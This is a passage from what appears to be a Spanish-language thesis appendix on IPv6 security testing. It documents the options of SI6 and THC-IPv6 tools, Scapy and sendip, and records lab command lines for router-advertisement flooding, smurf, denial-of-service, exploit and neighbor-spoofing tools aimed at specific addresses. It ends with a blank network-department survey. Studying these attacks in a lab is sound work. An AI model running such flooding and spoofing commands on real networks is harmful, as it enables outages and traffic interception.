	Esta opción especifica el límite de saltos del paquete IPv6 se incluye en la carga útil de la redirección de mensaje.

	--peer-addr, -x
	Esta opción especifica el IPv6 Dirección de origen de la carga útil de redirección.

	--redir-port, -o
	Esta opción especifica el puerto de destino del paquete TCP o UDP que figura en el redireccionamiento carga útil.

	--peer-port, -a
	Esta opción especifica el puerto de origen del paquete TCP o UDP contenida en la carga útil de redirección

	--tcp-flags, -X
	Esta opción especifica las banderas de la cabecera TCP contenida en la carga útil de redirección.

	--tcp-seq, -q
	Esta opción especifica el número de secuencia de la cabecera TCP contenida en la carga útil de redirección

	--tcp-ack, -Q
	Esta opción especifica el número de reconocido de la cabecera TCP contenida en el redireccionamiento

	--tcp-urg, -V
	Esta opción especifica el puntero urgente del encabezado TCP contenida en la carga útil de redirección.

	--tcp-win, -w
	Esta opción especifica la ventana de la cabecera TCP contenida en la carga útil de redirección.

	--resp-mcast, -M
	Esta opción especifica que, cuando funciona en modo "pasivo", la herramienta también debe responder a los paquetes enviados a direcciones de multidifusión. De forma predeterminada, la herramienta no envía redirecciones en respuesta a los paquetes enviados a direcciones de multidifusión

	--make-onlink, -O
	 Esta opción indica a la herramienta para establecer la dirección de redirección de destino con el mismo valor que el redireccionamiento Dirección de destino, lo que provoca la dirección especificada para ser considerado "en el vínculo".

	--learn-router, -N
	Esta opción indica a la herramienta para conocer el nivel de enlace y las direcciones IPv6 de lo local enrutador envía solicitudes y mensajes RA. Esta opción es muy útil para evitar tener que introducir manualmente el IPv6 y / o Ethernet direcciones del enrutador

	--target-lla-opt, -E
	Esta opción especifica el contenido de una opción de dirección de capa de enlace de destino para ser incluido en la redirección mensajes.

	--add-tlla-opt, -e
	Esta opción indica a la herramienta RD6 para incluir una opción de dirección de nivel de vínculo de destino en el redireccionamiento mensajes que envía.

	--block-src, -j
	Esta opción establece un filtro de bloque para los paquetes entrantes, en base a su dirección IPv6 de origen.

	--block-dst, -k
	Esta opción establece un filtro de bloque para los paquetes entrantes, en función de su dirección de destino

	--block-link-src, -J
	Esta opción establece un filtro de bloque para los paquetes entrantes, en función de su nivel de vínculo de dirección de origen

	--block-link-dst, -K
	Esta opción establece un filtro de bloque para los paquetes entrantes, en función de su capa de enlace de dirección destino.

	--accept-src, -b
	Esta opción establece un filtro de aceptar para los paquetes entrantes, en base a su Dirección IPv6 de origen.

	--accept-dst, -g
	Esta opción establece un filtro para aceptar los paquetes entrantes, en base a su dirección IPv6 de destino.

	--accept-link-src, -B
	Esta opción establece un filtro de aceptar para los paquetes entrantes, en función de su nivel de vínculo de dirección de origen

	--accept-link-dst, -K
	Esta opción establece un filtro de aceptar para los paquetes entrantes, en función de su capa de enlace de Dirección destino.

	--sanity-filters, -w
	Esta opción añade automáticamente un " accept filter” " para la capa de enlace de Dirección destino correspondiente al router local, y un filtro de bloque para la Dirección IPv6 de origen fe80 :: / 16. Esta opción es recomendable en todos los escenarios virtuales, porque la herramienta no responde al enlace- tráfico local.

	--flood-dests, -R
	Esta opción indica a la herramienta RD6 para enviar varios mensajes de redirección para diferentes direcciones de destino. 

	--flood-targets, -T
	Esta opción indica a la herramienta RD6 enviar varios mensajes de redirección para diferentes direcciones.

	--flood-sources, -F
	Esta opción indica a la herramienta para enviar varios mensajes de redirección con diferentes direcciones de origen

	--loop, -l
	Esta opción indica a la herramienta RD6 para enviar mensajes periódicos redirigida al nodo víctima.

	--sleep, -z
	Esta opción especifica la cantidad de tiempo para hacer una pausa entre el envío de mensajes de redirección

	--listen, -L
	Esto indica a la herramienta RD6 para funcionar en modo pasivo

	--verbose, -v
	Esta opción indica a la herramienta RD6 a ser detallado.

	--help, -h
	Imprimir información ayuda para la herramienta RD6

	Opciones de la Herramienta rs6

	--interface, -i
	Esta opción especifica el interfaz de red que la herramienta RS6 utilizará

	--src-address, -s
	Esta opción es para especificar la dirección IPv6 de origen (o un prefijo IPv6) que se utilizará para el Router Mensajes de solicitud.

	--dst-address, -d
	Esta opción especifica el IPv6 Dirección de destino de los mensajes de solicitud de enrutador.

	--hop-limit, -A
	Esta opción especifica el límite de saltos IPv6 que se utilizará para los mensajes de solicitud de enrutador. Su valor por defecto a 255.

	--frag-hdr, -y
	Esta opción especifica que el paquete resultante debe ser fragmentado.

	--dst-opt-hdr, -u
	Esta opción especifica que una cabecera Opciones de destino se va a incluir en el paquete resultante.

	--dst-opt-u-hdr, -U
	Esta opción especifica una cabecera Opciones de destino para ser incluido en la "parte Fragmentable" del paquete resultante.

	--hbh-opt-hdr, -H
	Esta opción especifica que un encabezado Hop-by-Hop Opciones se va a incluir en el paquete resultante

	--src-link-address, -S
	Esta opción especifica el nivel de vínculo de dirección de origen de los mensajes de solicitud de enrutador

	--link-dst-address, -D
	Esta opción especifica la capa de enlace de dirección de destino de los mensajes de solicitud de enrutador

	--source-lla-opt, -E
	Esta opción especifica el contenido de una opción de dirección de capa de enlace de fuente para ser integrada en el enrutador Mensajes de solicitud.

	--add-slla-opt, -e
	Esta opción indica a la herramienta RS6 para incluir una opción de dirección de nivel de vínculo de origen en el Router Mensajes de solicitud que envía

	--flood-sources, -F
	Esta opción indica a la herramienta RS6 enviar Solicitaciones Vecino de IPv6 múltiple (y al azar) Direcciones de origen.

	--loop, -l
	Esta opción indica a la herramienta RS6 enviar Solicitaciones periódicas Router en el nodo de destino.

	--sleep, -z
	Esta opción indica a la herramienta RS6 a la cantidad de tiempo para hacer una pausa entre el envío de Vecino Solicitaciones.

	--verbose, -v
	Esta opción indica a la herramienta RS6 a ser detallado

	--help, -h
	Imprimir información ayuda para la herramienta RS6

	Opciones de la Herramienta scan6

	--interface, -i
	Esta opción especifica la interfaz de red para ser utilizado por la herramienta de scan6

	--src-address, -s
	Esta opción especifica el Origen de la dirección IPv6

	--dst-address, -d
	Esta opción especifica el prefijo de la dirección de destino / gama de la exploración de direcciones

	--link-src-address, -S
	Esta opción especifica el nivel de vínculo de dirección de origen de los paquetes de sondeo

	--probe-type, -p
	Esta opción especifica los paquetes de sondeo que se utilizarán para la exploración de direcciones.

	--payload-size, -P
	Esta opción especifica el tamaño de carga útil del paquete de la sonda. Por defecto es 0 para TCP, y para el 56 de ICMPv6

	--src-port, -o
	Esta opción especifica el puerto de origen TCP / UDP. Si no se especifica, el puerto de origen es aleatorio del rango 1024-65535

	--dst-port, -a
	Esta opción especifica el TCP / UDP Puerto de destino. Si se deja sin especificar, el puerto de destino es aleatorio de la gama 1-1024

	--tcp-flags, -X
	Esta opción se utiliza para ajustar determinados los indicadores TCP. Las banderas se especifican como "F" (FIN), "S" (SYN), "R" (RST), "P" (PSH), "A" (ACK), "U" (URG), "X" (sin banderas). Si esta opción no se especifica, el bit ACK se establece en todos los paquetes de sondeo

	--print-type, -P
	Esta opción especifica los tipos de direcciones que desea imprimir / informados por la herramienta scan6. Esta opción sólo tiene sentido para las exploraciones locales (opción "-l")

	--tgt-virtual-machines, -V
	Esta opción especifica que el objetivo de máquinas virtuales. Las opciones posibles son: 'vbox' (VirtualBox), 'Vmware' (vmware), y "todos" (ambos VirtualBox y VMware)

	--tgt-low-byte, -b
	Esta opción especifica que el destino es IPv6 nodos que emplean direcciones "low byte"

	--tgt-ipv4-embedded, -B
	Esta opción especifica que el objetivo de direcciones IPv6 que incrustar una dirección IPv4. Cuando esta opción se establece, un prefijo se debe especificar con la opción '- ipv4-host' opción, de manera que el espacio de búsqueda es reducida

	--tgt-ieee-oui, -k
	Esta opción se utiliza para especificar un puerto IEEE OUI, de tal manera que el objetivo de la exploración es direcciones SLAAC que emplean la mencionada IEEE OUI

	--tgt-vendor, -K
	Esta opción permite al usuario especificar un nombre de proveedor. scan6 buscará en marcha todo el correspondiente IEEE OUI para dicho proveedor, y luego busque las direcciones SLAAC que emplean la mencionada IEEE OUI

	--sort-ouis, -T
	Esta opción, cuando se utiliza junto con el "- tgt-vendor" opción, le dice a la herramienta scan6 a "ordenar" El IEEE OUI correspondiente a un proveedor.

	--ipv4-host, -Q
	Esta opción permite al usuario especificar un prefijo IPv4. El prefijo antes mencionado se emplea con los "- TGT-virtuales-máquinas" y / o "- embeded tgc-ipv4-" opciones para reducir el espacio de búsqueda.

	--inc-size, -I
	Esta opción se utiliza para especificar el tamaño mínimo de la palabra de 16 bits de más bajo orden de una dirección IPv6 cuando un rango de direcciones IPv6 se va a escanear.

	-r, --rate-limit
	Esta opción especifica el límite de velocidad para usar cuando se realiza una comprobación de la dirección remota.

	--config-file, -c
	Esta opción se utiliza para especificar un archivo de configuración alternativa. Si se deja sin especificar, la herramienta utilizar '/ etc/ipv6toolkit.conf

	--print-unique, -q
	Esta especie de opción que para cada ámbito de la dirección única dirección IPv6 (local y / o global) por Dirección Ethernet se debe imprimir

	--print-link-addr, -e
	Esta opción especifica que las direcciones de capa de enlace deben ser impresas junto con las direcciones IPv6, con el formato "@ direcciónIPv6 LINKADDRESS". Esta opción sólo tiene sentido para exploraciones de direcciones de la red local

	--retrans, -x
	Esta opción específica el número de veces que los paquetes de sondeo deben ser retransmitidos cuando no hay respuesta se recibe. Si se deja sin especificar, el número de incumplimientos de retransmisión a 0 (es decir, no retransmisiones). Esta opción puede ser útil cuando los paquetes deben atravesar una red no fiable y / o enlaces congestionados

	--timeout, -o
	Esta opción especifica la cantidad de tiempo que la herramienta debe esperar las respuestas para sondear paquetes. El valor predeterminado de tiempo de espera a 1 segundo. Esta opción puede ser útil cuando se escanean hosts en enlaces de larga demora.

	--local, -l
	Esta opción especifica que el escaneo de acogida se debe realizar en la subred local

	--rand-src-addr, -f
	Esta opción especifica que lA Dirección IPv6 de origen debE ser aleatoria.

	--rand-link-src-addr, -F
	Esta opción especifica que el Ethernet Dirección de origen debían ser aleatorios

	--verbose, -v
	Esta opción indica a la herramienta scan6 a ser detallado.

	--help, -h
	Imprimir información ayuda para la herramienta scan6

	Opciones de la Herramienta tcp6

	--interface, -i
	Esta opción especifica el interfaz de red que la herramienta utilizará.

	--src-address, -s
	Esta opción especifica la dirección IPv6 de origen (o un prefijo IPv6) que se utilizarán para la dirección de origen los paquetes de ataque.

	--dst-address, -d
	Esta opción especifica el IPv6 Dirección de destino de la víctima

	--hop-limit, -A
	Esta opción especifica el límite de saltos que se utilizará para los paquetes IPv6. Por defecto es 255

	--frag-hdr, -y
	Esta opción especifica que el paquete resultante debe ser fragmentado.

	--dst-opt-hdr, -u
	Esta opción especifica que una cabecera Opciones de destino se va a incluir en el paquete resultante.

	--dst-opt-u-hdr, -U
	Esta opción especifica una cabecera Opciones de destino para ser incluido en la "parte Fragmentable" de el paquete resultante.

	--hbh-opt-hdr, -H
	Esta opción especifica que un encabezado Hop-by-Hop Opciones se va a incluir en el paquete resultante

	--src-link-address, -S
	Esta opción especifica el nivel de vínculo de dirección de origen de los segmentos TCP

	--link-dst-address, -D
	Esta opción especifica la capa de enlace de dirección de destino de los segmentos TCP

	--payload-size, -P
	Esta opción especifica el tamaño de la carga útil TCP.

	--src-port, -o
	Esta opción especifica el puerto de origen del segmento TCP

	--dst-port, -a
	Esta opción especifica el puerto de destino del segmento TCP

	--tcp-flags, -X
	Esta opción se utiliza para ajustar determinados los indicadores TCP. Las banderas se especifican como "F" (FIN), "S" (SYN), "R" (RST), "P" (PSH), "A" (ACK), "U" (URG), "X" (sin banderas)

	--tcp-seq, -q
	Esta opción especifica el número de secuencia de la cabecera TCP. Si se deja sin especificar, la Secuencia Número es aleatorio

	--tcp-ack, -Q
	Esta opción especifica el Reconocimiento Número del segmento TCP. Si se deja sin especificar, el Número de Confirmación es aleatorio.

	--tcp-urg, -V
	Esta opción especifica el puntero urgente del segmento TCP

	--tcp-win, -w
	Esta opción especifica el valor de la ventana TCP

	--not-ack-data, -N
	Esta opción indica tcp6 no reconocer la carga útil de los segmentos TCP entrantes

	--not-ack-flags, -f
	Esta opción indica tcp6 no reconocer los indicadores TCP (SYN y / o FIN) de entrada segmentos (cuando funciona en modo de escucha)

	--block-src, -j
	Esta opción establece un filtro de bloque para los paquetes entrantes, en base a su Dirección IPv6 de origen

	--block-dst, -k
	Esta opción establece un filtro de bloque para los paquetes entrantes, en función de su dirección IPv6 de destino 

	--block-link-src, -J
	Esta opción establece un filtro de bloque para los paquetes entrantes, en función de su nivel de vínculo de dirección de origen

	--block-link-dst, -K
	Esta opción establece un filtro de bloque para los paquetes entrantes, en función de su nivel de vínculo de dirección de destino

	--accept-src, -b
	Esta opción establece un filtro de aceptar para los paquetes entrantes, en base a su IPv6 Dirección de origen.

	--accept-dst, -g
	Esta opción establece un filtro para aceptar los paquetes entrantes, en base a su dirección IPv6 de destino.

	--accept-link-src, -B
	Esta opción establece un filtro de aceptar para los paquetes entrantes, en función de su nivel de vínculo de dirección de origen

	--accept-link-dst, -G
	Esta opción establece un filtro de aceptar para los paquetes entrantes, en función de su capa de enlace de Dirección destino

	--flood-sources, -F
	Esta opción indica a la herramienta para enviar varios segmentos TCP con diferentes direcciones de origen.

	--flood-ports, -T
	Esta opción indica a la herramienta para enviar varios segmentos TCP con diferentes puertos de origen.

	--loop, -l
	Esta opción indica a la herramienta tcp6 enviar segmentos TCP periódicas al nodo víctima

	--sleep, -z
	Esta opción especifica la cantidad de tiempo para hacer una pausa entre el envío de los segmentos TCP

	--listen, -L
	Esto indica a la herramienta tcp6 para funcionar en modo de escucha

	--verbose, -v
	Esta opción indica a la herramienta tcp6 a ser detallado

	--help, -h
	Imprimir información ayuda para la herramienta tcp6




		Resultados de Pruebas
scan6		sudo scan6 –i eth0 –L -v
[image: ]



















address6		sudo address6 fe80::a00:27ff:feba:3a4
[image: ]

tcp6		sudo tcp6 –I eth0 –L –X RA -v
[image: ]







flow6		sudo flow6 –I eth0 –flow-label-policy –d fe80::1 -v
[image: ]







Jumbo6		sudo jumbo –I eth0 –l –d 2800:68:a:1::3 -v
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 frag6	sudo frag6 -i eth0 -v --frag-reass-policy –d 2800:68:a:4:a00:27ff:fe11:100
[image: ]













icmp6		sudo icmp6 –I eth0 --icmp6-packet-too-big –p ICMP6 –d 2800:68:a::2 –per-addr 2800:68:a:1::3 –m 1240 -v
[image: ]             











na6		sudo  na6 –i eth0 –d 2800:68:a:1::3 –t 2800:68:a:1::2 –c –o –e -v
[image: ]






ni6		sudo ni6 –i eth0 –subject-ipv6 2800:68:a:1::3 –d 2800:68:a:1::2 –q 2 -v
[image: ]










ns6		sudo ns6 –I eth0 –d 2800:68:a:1::2 –t 2800:68:a:1::3 –e -v
[image: ]
ra6		sudo ra6 -i eth0 -s 2800:68:a:4:a00:27ff:fe11:100 -d 2800:68:a:4:a00:27ff:feba:3a4 -c hps –v
[image: ]







rs6		sudo rs6 -i eth0 -d fe80::1 -E ff:ff:ff:ff:ff:ff –v
[image: ]








rd6		sudo rd6 -i eth0 --learn-router --sanity-filters -L --make-onlink -v
[image: ]












THC-IPV6
     Es un conjunto completo de herramientas para atacar las debilidades inherentes del protocolo IPV6 y icmp6, e incluye una biblioteca de fábrica con paquetes fácil utilizar.
	Herramientas

	Alive6
	Permite realizar un escáner eficaz, que detectará todos los sistemas que estén en su rango de red.

	Denial6 
	Es una colección de ensayos de denegación de servicio contra un objetivo.

	Detect-new-ip6
	Detecta nuevos dispositivos ip6 que se unen a la red y  puede ejecutar una secuencia de comandos para escanear automáticamente estos sistemas.

	Dnsdict6
	Permite enumerar las entradas DNS de un dominio y utiliza un archivo de diccionario si se le proporciona o, en caso contrario, uno propio.

	Dos-new-ip6
	Detecta nuevos dispositivos ip6 y dice que hay conflicto de red  (DoS). 

	Exploit6
	Prueba las vulnerabilidades ipv6 conocidas contra un blanco. 

	Fake_advertiser6 
	Se lo utiliza para anunciarse en la red.

	Fake_mipv6
	Permite robar un IP móvil sin IPSEC no es necesario para la autenticación

	Fake_mld26 
	Lo mismo de Fake_mld6 pero para MLDv2

	Fake_mld6
	Permite anunciarse en un grupo multicast de su elección en la red.

	Fake_mldrouter6 
	Permite enviar falsos mensajes de router MLD

	Fake_router6
	Con esta herramienta se puede anunciar a sí mismo como un router en la red, con la más alta prioridad

	Flood_advertise6 
	Inundación de un objetivo con anuncios de vecino al azar

	Flood_router6
	Inundación de un objetivo con anuncios de enrutador al azar

	Fuzz_ip6 
	Fuzzer para ipv6.

	Implementation6 
	Lleva a cabo diversos controles de aplicación sobre ipv6

	Implementation6d 
	Pone en modo demonio implementation6. 

	Parasite6
	Esta herramienta enviará una petición ICMP6 para enviar una respuesta afirmando que la MAC solicitada corresponde con su dirección IP.

	Redir6
	Redirecciona el tráfico hacia nosotros de una forma inteligente.

	Rsmurf6 
	Es eficaz en equipos que tienen IPv6 que permiten responder a un paquete ICMPv6 cuyo origen esté una dirección de multidifusión. 

	Sendpees6 
	Una herramienta, que genera peticiones a vecinos con un montón de script para mantener la CPU ocupada. 

	Smurf6
	Esta herramienta permite hacer pruebas a un servidor de red con el fin  de conocer si es vulnerable a un tipo de ataque de tipo Denegación de Servicio (DOS).

	Thcping6
	Envía un paquete ping6 modificado a mano.

	Toobig6 
	Reduce MTU con la misma inteligencia de redir6

	Trace6
	O traceroute6 muy rápido con soportes icmp6 solicitud de eco y TCP-SYN

	Opciones de la Herramienta Alive6

	-i
	Revisar los sistemas de archivo de entrada

	-o
	Escribir los resultados a un archivo de salida

	-M
	Enumerar de direcciones de hardware (MAC)

	-L
	Utilizar la dirección de enlace local en lugar de direcciones global 

	-D 
	Resolver direcciones DHCPv6 vivos 

	-W 
	Tiempo en ms que esperar después de enviar un paquete (por defecto: 1)

	-S 
	Modo lento, obtener mejor enrutador para cada destino remoto o cuando Proxy-NA

	-n
	Número de la  frecuencia debe enviar cada paquete (por defecto: 1 locales, 2 remotos) 

	-s port,port,..  
	TCP-SYN packet to ports for alive check

	-a
	Enviar paquetes TCP-ACK a puertos 

	-u
	Enviar paquetes UDP a puertos

	-d
	Resolver DNS de direcciones IPv6 vivas

	-I
	Dirección IPv6  origen

	-p
	Enviar un paquete ping para el check (por defecto ) vivos 

	-e dst,hop
	Enviar un paquetes de error al nodo destino

	-v verbose
	Si se escribe dos veces : devuelve información detallada, por tres veces: desecha todos los paquetes

	Opciones de la Herramienta Parasite6

	-L
	Realiza bucles y reenvía los paquetes por destino cada 5 segundos

	-R
	Tratará de inyectar el destino de la solicitud

	-F
	Fragmento (utilizado para la seguridad de red de derivación)

	-H
	hop-by-hop (utilizado para la seguridad de red de derivación)

	-D
	Cabecera de destino grande (utilizado para la seguridad de red de derivación)

	Opciones de la Herramienta dnsdict6

	-4
	Sirve para volcar direcciones IPv4

	-t
	NO especifica el número de threads(hebras) a usar. (defecto: 8, max: 32)

	-D
	Deja la lista de palabras incorporadas seleccionadas, no de exploración

	-d
	Muestra información IPv6 sobre NS y la información de dominio MX DNS 

	- [smlx]
	Elegir el tamaño del diccionario ( s=50, m=796, l=1416, x=3211)

	Opciones de la Herramienta fake_router6

	-H
	Agrega hop- by-hop

	-F
	Encabezado fragmentación

	-D
	Encabezado destino

		Opciones de la Herramienta trace6

	-a
	Insertar un encabezado hop-by -hop con opción de alerta router.

	-D
	Insertar una cabecera de extensión de destino

	-E
	Insertar una cabecera de extensión de destino con una opción no válida

	-F
	Insertar un encabezado de fragmentación de una sola vez

	-b
	En lugar de un Ping icmp6 , utilice tooBig

	-B
	En vez de un Ping icmp6 , utilice PingReply

	-d
	Resuelve las direcciones IPv6 a DNS

	-t
	Permite la detección del túnel

	-s src6
	especifica la dirección IPv6 de origen

	Opciones de la Herramienta flood_router6

	-H
	Añadir fragmento

	-F
	Añadir Cabecera destino

	-D
	Añadir hop-by-hop para burlar la seguridad guardia de la RA.

	Opciones de la Herramienta fuzz_ip6

	-X
	No agregar cualquier encabezado ICMP / TCP

	-1
	Fuzz icmp6 eco petición ( por defecto)

	-2
	solicitud de vecinos icmp6

	-3
	anuncio vecino icmp6 NA

	-4
	anuncio enrutador icmp6 RA

	-5
	multidifusión de paquetes report listener

	-6
	multicast hecho de paquetes listener / escucha

	-7
	multicast paquete de consulta oyente

	-8
	multicast informe paquetes v2 oyente

	-9
	multicast paquete de consulta v2 oyente

	-0
	paquete de consulta de nodo

	-x
	intenta todos los 256 valores para los tipos de la bandera y de bytes

	-t
	Número continúe desde la prueba.

	-T
	número solo realiza la prueba

	-p
	realiza una comprobación de vida cada número de pruebas (por defecto: ninguno)

	-n
	cantidad de veces para enviar todos los paquetes (por defecto: 1 )

	-F
	agregar la fragmentación de una sola vez  (para 1)

	-S
	Agrega  source routing (para 1 )

	-D
	añade una cabecera de destino (para 1)

	-H
	agregar encabezado hop-by –hop (para 1,5,9)

	-R
	agregar encabezado alerta router (para 5,9)

	-J
	añadir cabecera del paquete jumbo (para 1)

	Opciones de la Herramienta implementation6

	-s sourceip6
	Especifica la dirección de origen IPv6 

	-p
	no realiza una comprobación con vida al principio y al final

	Opciones de la Herramienta fake mld6

	-l
	para recorrer y enviar ( en intervalos de 5 s ) hasta que se pulse Control- C

	Opciones de la Herramienta fake mld26

	-l
	para recorrer y enviar ( en intervalos de 5 s ) hasta que se pulse Control- C

	Opciones de la Herramienta fake_mldrouter6

	-l
	para recorrer y enviar ( en intervalos de 5 s ) hasta que se pulse Control- C

	
	

	Opciones de la Herramienta fake advertiser6

	-n
	enviar el número de paquetes

	-w
	tiempo de espera entre los paquetes enviados (por defecto: 5s)

	-O
	NO ajuste la bandera de anulación (por defecto : activado)

	-r
	NO establece el indicador del router (por defecto : desactivado)

	-s
	NO establece el indicador solicitate (por defecto : desactivado)

	-H
	agregar un encabezado hop-by -hop

	-F
	agregar un encabezado de fragmento de un tiro

	-D
	agregar un encabezado de destino grande, que fragmenta el paquete

	Opciones de la Herramienta thcping6

	-a
	agregar un encabezado salto a salto/ hop-by -hop con opción de alerta router

	-q
	agregar un encabezado hop-by -hop con la opción de inicio rápido

	-E
	enviar ethertype como IPv4 

	-H o: s: v
	añadir una cabecera hop-by -hop con contenido especial

	-D o: s: v
	añadir una cabecera de destino con contenido especial

	-D “xxx”
	agregar un encabezado de destino grande, que fragmenta el paquete

	-f
	agregar un encabezado de  fragmentación one-shot

	-F
	utilización de dirección IPv6, enrutamiento de origen a este destino final

	-t ttl
	especificar TTL (predeterminado : 64 )

	-c clase
	 especifica una clase ( 0-4095 )

	-l etiqueta
	especifica una etiqueta (0-1048575)

	-D DATA_SIZE
	define el tamaño de la memoria intermedia de datos de ping

	-S puerto
	utiliza un paquete TCP SYN en el puerto en lugar del de ping definido

	-U puerto
	utiliza un paquete TCP SYN en el puerto en lugar del de ping definido

	Observaciones:
	Usted puede poner una "x" en src6 , srcmac y dstmac por un valor automático

	
	o: s : v sintaxis: la opción -no : tamaño: el valor , el valor es en hexadecimal, por ejemplo, 01:02 : FEAB
Devuelve -1 en caso de error o no hay respuesta, 0 a la respuesta normal o 1 a la respuesta de error

	Opciones de la Herramienta toobig6

	-u
	enviará el tooBig sin ping6 falsa de ip existente

		Opciones de la Herramienta flood_router26

	-F
	Añade fragmento

	-D
	Añade cabecera  destino

	-H
	Añade hop-by-hop para burlar la seguridad guardia de RA

	-R
	Envía  entradas de enrutamiento

	-P
	Envía información de prefijo

	-A
	Es como -P pero implementa un ataque de George Kargiotakis desactivar las extensiones de privacidad

	-s
	Usa pequeñas vidas, lo que resulta en un impacto más devastador



		Resultados de Pruebas

Alive6		sudo alive6 eth0
[image: ]












Parasite6	sudo Parasite6 eth0
[image: ]






dnsdict6	sudo dnsdict6 espoch.edu.ec
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detect-new-ip6 	sudo detect-new-ip6 eth0
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dos-new-ip6 		sudo dos-new-ip6 eth0
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flood router6		sudo flood_router6  -HFD eth0
[image: ]







F








implementation6	sudo  implementation6 –s 2800:68:a:4:a00:27ff:feba:3a4 eth0

[image: ]



fake mld6		sudo fake_mld6 -l  eth0 add
[image: ]


fake mld26	sudo fake_mld26 -l  eth0 querry
[image: ]
















fake_mipv6  	sudo fake_mipv6  eth0
[image: ]








smurf6		sudo smurf6 eth0 –fe80::a00:27ff:fe11:100 












NOTA:	La siguiente captura pertenece a la maquina víctima se puede apreciar los paquetes que le está enviando el atacante.
[image: C:\Users\pc1\Desktop\capsmurf.png]













rsmurf6	sudo rsmurf6 eth0  2800:68:a:4:a00:27ff:fe11:100 
[image: ]









exploit6	sudo exploit6 eth0 fe80::a00:27ff:fe11:100

[image: C:\Users\pc1\VirtualBox VMs\UbuntuTesis10.04 clonar\capturas\explo6.png]


denial6		sudo denial6 eth0 fe80::a00:27ff:fe11:100 2 
[image: ]










sendpees6	sudo sendpees6  eth0  2800:68:a:4:a00:27ff:feba:3a4  ::1/64 2800:68:a:4:a00:27ff:fe11:100
[image: ]






flood_router26		sudo flood_router26 - HFD - s   -RPA  eth0
[image: ]



SCAPY
Es un programa en Python que permite al usuario enviar, rastrear, analizar, sondear, escanear o atacar redes, falsificar paquetes de red o decodificar paquetes de un amplio número de protocolos, enviarlos en el alambre, capturarlos, coincidir solicitudes y respuestas. Posee funciones similares a ttlscan, nmap, hping, queso, p0f, xprobe, arping, arp-sk,  ARPSpoof, firewalk, etc.Todo mediante línea de comandos, es integrable en Python, programable, versátil y flexible. Obtendremos solo los datos que queramos y todo lo complejo que deseemos.

Los dos comandos más importantes: (son en realidad las funciones de Python)

	Herramientas

	Arpcachepoison
	Envenamiento de cache con pareja (MAC, IP Victimas)

	Arping
	Enviar peticiones  who-has ARP para determinar que hosts están en marcha.

	bind_layers 
	Enlazar 2 capas  sobre  algunos campos de valores.

	bridge_and_sniff
	Reenviar tráfico entre dos interfaces y monitoreo de paquetes  intercambiados

	corrupt_bits
	Voltear un determinado porcentaje o número de bits de una cadena

	corrupt_bytes 
	Degradar un determinado porcentaje o número de bytes  de una cadena.

	Defrag  defragment   
	Defragmentacion 

	dyndns_add  
	Envía un mensaje al servidor DNS añadiendo el campo nameserver  “name” a “rdata”

	dyndns_del   
	Envia un mensaje al servidor DNS borrando  el campo nameserver  “name” 

	etherleak      
	Explota el ataque Etherleak  por defecto

	fragment 
	Fragmento de un gran datagrama IP

	fuzzy
	Transformar una capa en una capa borrosa mediante la sustitución de unos valores por defecto de objetos al azar

	getmacbyip    
	Retorno  de direcciones MAC correspondientes a determinadas direcciones IP

	hexdiff             
	Muestra las diferencias entre 2 cadenas binarias

	hexdump             
	devuelve un volcado hexadecimal de todos los paquetes

	is_promisc 
	Trata de adivinar si el objetivo está en modo “promiscuo”. El objetivo es proporcionada por su ip

	ls ()  & lsc () 
	lista de los valores de los campos e información de los comandos

	promiscping         
	Envia peticiones  who-has ARP para determinar que hosts están en modo “promiscuo”

	rdpcap             
	Lee el archive  pcap y retorna una lista de paquetes

	send ()  & sendp () 
	enviar paquetes en el cable correpondientes a capa 3 y 2

	sendpfast  
	Envia paquetes en la capa 2 utilizando “tcpreplay” para el rendimiento

	Sniff
	Envía paquetes sniff

	split_layers  
	Dividir 2 capas previamente destinado

	sr () &sr1()
	(enviar / recibir) paquetes en la capa 3 y registra solo la primera respuesta.

	srbt  &   srbt1       
	(enviar / recibir) usando bluetooth; 1 se refiere a 1 paquete 

	srflood       & srloop
	Inmunda y recibe paquetes en la capa 3;  imprime las repuestas en cada tiempo

	srp() & srp1()
	(enviar / recibir) paquetes en la capa 2; y registra solo la primera respuesta

	srpflood    &   srploop      
	Inmunda y recibe paquetes en la capa 2;  imprime las repuestas en cada tiempo

	traceroute()
	Traceroure TCP instantánea

	tshark     
	Paquetes sniff  y imprime llamando a pkt.show(), en un texto wiresshark

	wireshark           
	Se inicia wireshark sobre una lista de paquetes.

	wrpcap              
	Escribe una lista de paquetes al archive pcap.



[image: ] [image: ]
 [image: ]   [image: ]
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SENDIP
     Es una utilidad para enviar la dirección IP local a otro servidor. Permite un control detallado de todos los campos de la cabecera. Esta herramienta permite enviar paquetes IP arbitrarios.
Sinopsis
sendip [ -v ] [ -d Datos ] [ -h ] [ -f archivo de datos ] [ módulo-p ] [ módulo de opciones ] nombre de host
	Opciones de la Herramienta sendip

	-D datos
	Añade estos datos como una cadena al final de los datos del paquete puede ser: rN para generar N (ish) bytes de datos aleatorios; 0x o 0X seguidos por dígitos hexadecimales; 0 seguido de dígitos octales; cualquier otra secuencia de bytes

	-F archivo de datos
	Leer datos de paquetes de un archivo

	-H
	Imprime un mensaje

	-P módulo
	Carga el módulo especificado. Los módulos disponibles en tiempo de compilación: icmp ipv6 ipv4 udp tcp bgp rip ntp

	-V
	Esta opción indica que la herramienta arroje información detallada.

	Opciones de la Herramienta sendip módulo IPv6

	−6f x
	ID de flujo IPv6, por defecto 32

	−6t x
	Clase de tráfico IPv6, por defecto 0

	−6l x
	Longitud de carga útil en IPv6, por defecto correcto

	−6n x
	Siguiente cabecera, Por defecto: IPPROTO_NONE

	−6h x
	Límite de saltos, por defecto 32

	−6v x
	Versión IP

	−6p x
	Prioridad, por defecto 0

	−6s x
	Dirección de origen 

	−6d x
	Dirección destino



Nota: Como la presente investigación de esta tesis se trata de IPv6, se procederá al estudio del módulo IPv6 que me proporciona esta herramienta.




[bookmark: _Toc442981793]ANEXO 4: Encuesta al Departamento de Redes de DTIC

CUESTIONARIO PARA EL DEPARTAMENTO DE REDES DE DTIC

PREGUNTAS INFORMATIVAS
	Nº
	Preguntas
	Conteste

	1
	¿Qué herramientas utiliza para el monitoreo en la red Ipv6?
	

	2
	¿Qué servidores están implementados en ipv6?
	

	3
	En los servidores que tienen implementado IPv6 ¿Qué servicios no más están activados?
	

	4
	¿Cuántos proveedores de internet se utilizan en la red? Y ¿Cuál es su ancho de banda?
	



PREGUNTAS TÉCNICAS GENERALES 
Marque con una (x) su respuesta:   
	Nº
	Preguntas
	Si
	No 
	Observación

	1
	Su departamento tiene documentación de la red IPv6 para ayudar con la resolución de problemas, que contenga lo siguiente:
· Mapa de la red con las direcciones IP
· Inventario de los dispositivos conectados a la red
· Políticas de seguridad 
· Plan de seguridad 
